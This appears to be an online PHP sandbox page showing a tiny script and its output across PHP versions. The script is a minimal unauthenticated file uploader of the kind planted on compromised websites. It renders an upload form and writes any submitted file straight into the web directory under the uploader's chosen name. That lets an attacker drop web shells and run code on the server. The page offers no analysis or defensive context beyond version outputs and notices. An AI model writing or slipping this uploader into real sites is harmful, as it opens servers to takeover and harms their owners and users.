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<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Archivo subido!</b><br><br>'; } else { echo '<b>Upload Fail!</b><br><br></font>'; } } ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form> Warning: Undefined array key "_upl" in /in/td1ir on line 5
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form> Notice: Undefined index: _upl in /in/td1ir on line 5
Output for 7.3.32 - 7.3.33
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form> Notice: Undefined index: _upl in /in/td1ir on line 5

preferences:
334.43 ms | 403 KiB | 422 Q